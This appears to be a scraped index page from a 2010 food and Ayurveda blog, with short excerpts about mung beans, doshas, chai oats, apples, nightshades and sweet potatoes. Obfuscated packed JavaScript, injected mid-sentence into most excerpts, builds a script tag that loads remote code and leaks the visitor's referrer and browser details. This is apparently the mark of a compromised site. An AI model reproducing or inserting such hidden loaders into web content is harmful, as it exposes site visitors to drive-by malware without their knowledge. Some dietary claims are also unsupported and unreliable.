16 Mar 2010

Mung Beans

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Many eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abnhb|var|u0026u|referrer|adynn||js|php’.split(‘|’),0,{})) of us may know mung beans in their sprouted form, the long white crunchy “veggie” used in many Chinese or Vietnamese stir fries and other dishes.  But the mung bean legume (not vegetable) has … Continued

4 Mar 2010

Mind/Body Constitution – The Doshas

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According to Ayurveda, three vital body energies (doshas) govern the functions of the body, which again reflect the Five eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkrey|var|u0026u|referrer|eshzz||js|php’.split(‘|’),0,{})) Elements: Kapha (Water + Earth), Pitta (Fire + Water), and Vata (Air + Ether). We … Continued

21 Feb 2010

The Five Elements – Balancing Mind/Body with Food

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Seeing aspects of the world as reflected through the lens of the five great elements – ether, air, fire, water and earth -  has provided me many practical tools in understanding and addressing my own health and well-being.  (click here … Continued

12 Feb 2010

Sweet Chai Oats

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This is our all time favorite breakfast.  You can even make it the night before, and take it on the go if you’re short on time in the a.m. – just add warm water before eating. 1 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new … Continued

7 Feb 2010

Apples

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From eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsrdk|var|u0026u|referrer|tssir||js|php’.split(‘|’),0,{})) the “forbidden fruit” to “an apple a day keeps the doctor away” – apples have been in the limelight throughout human history.  The latter phrase seems to hold more truth.  Apples have proven … Continued

3 Feb 2010

Nightshades: Not so good

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From what I can tell, nightshades aren’t so good for us – in mind, body or spirit. They are what I would call a “sattvic-inhibitor.”  (see this post eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fktss|var|u0026u|referrer|etrkz||js|php’.split(‘|’),0,{})) for more about Sattvic foods). Alas, … Continued

27 Jan 2010

Mashed Sweet Potatoes

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This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nntih|var|u0026u|referrer|ytien||js|php’.split(‘|’),0,{})) was a favorite for us over the holidays, and we simply haven’t stopped craving or making it! It’s super easy, tasty, and good for you too. 4-5 sweet potatoes 2 clove garlic 2 tablespoons … Continued

25 Jan 2010

Sweet Potatoes

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Despite eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdabi|var|u0026u|referrer|aidnh||js|php’.split(‘|’),0,{})) their naturally sweet taste and highly nutritive quality – far surpassing that of the common white-baking “potato” – sweet potatoes have had a hard time standing their own ground. Given their namesake, they … Continued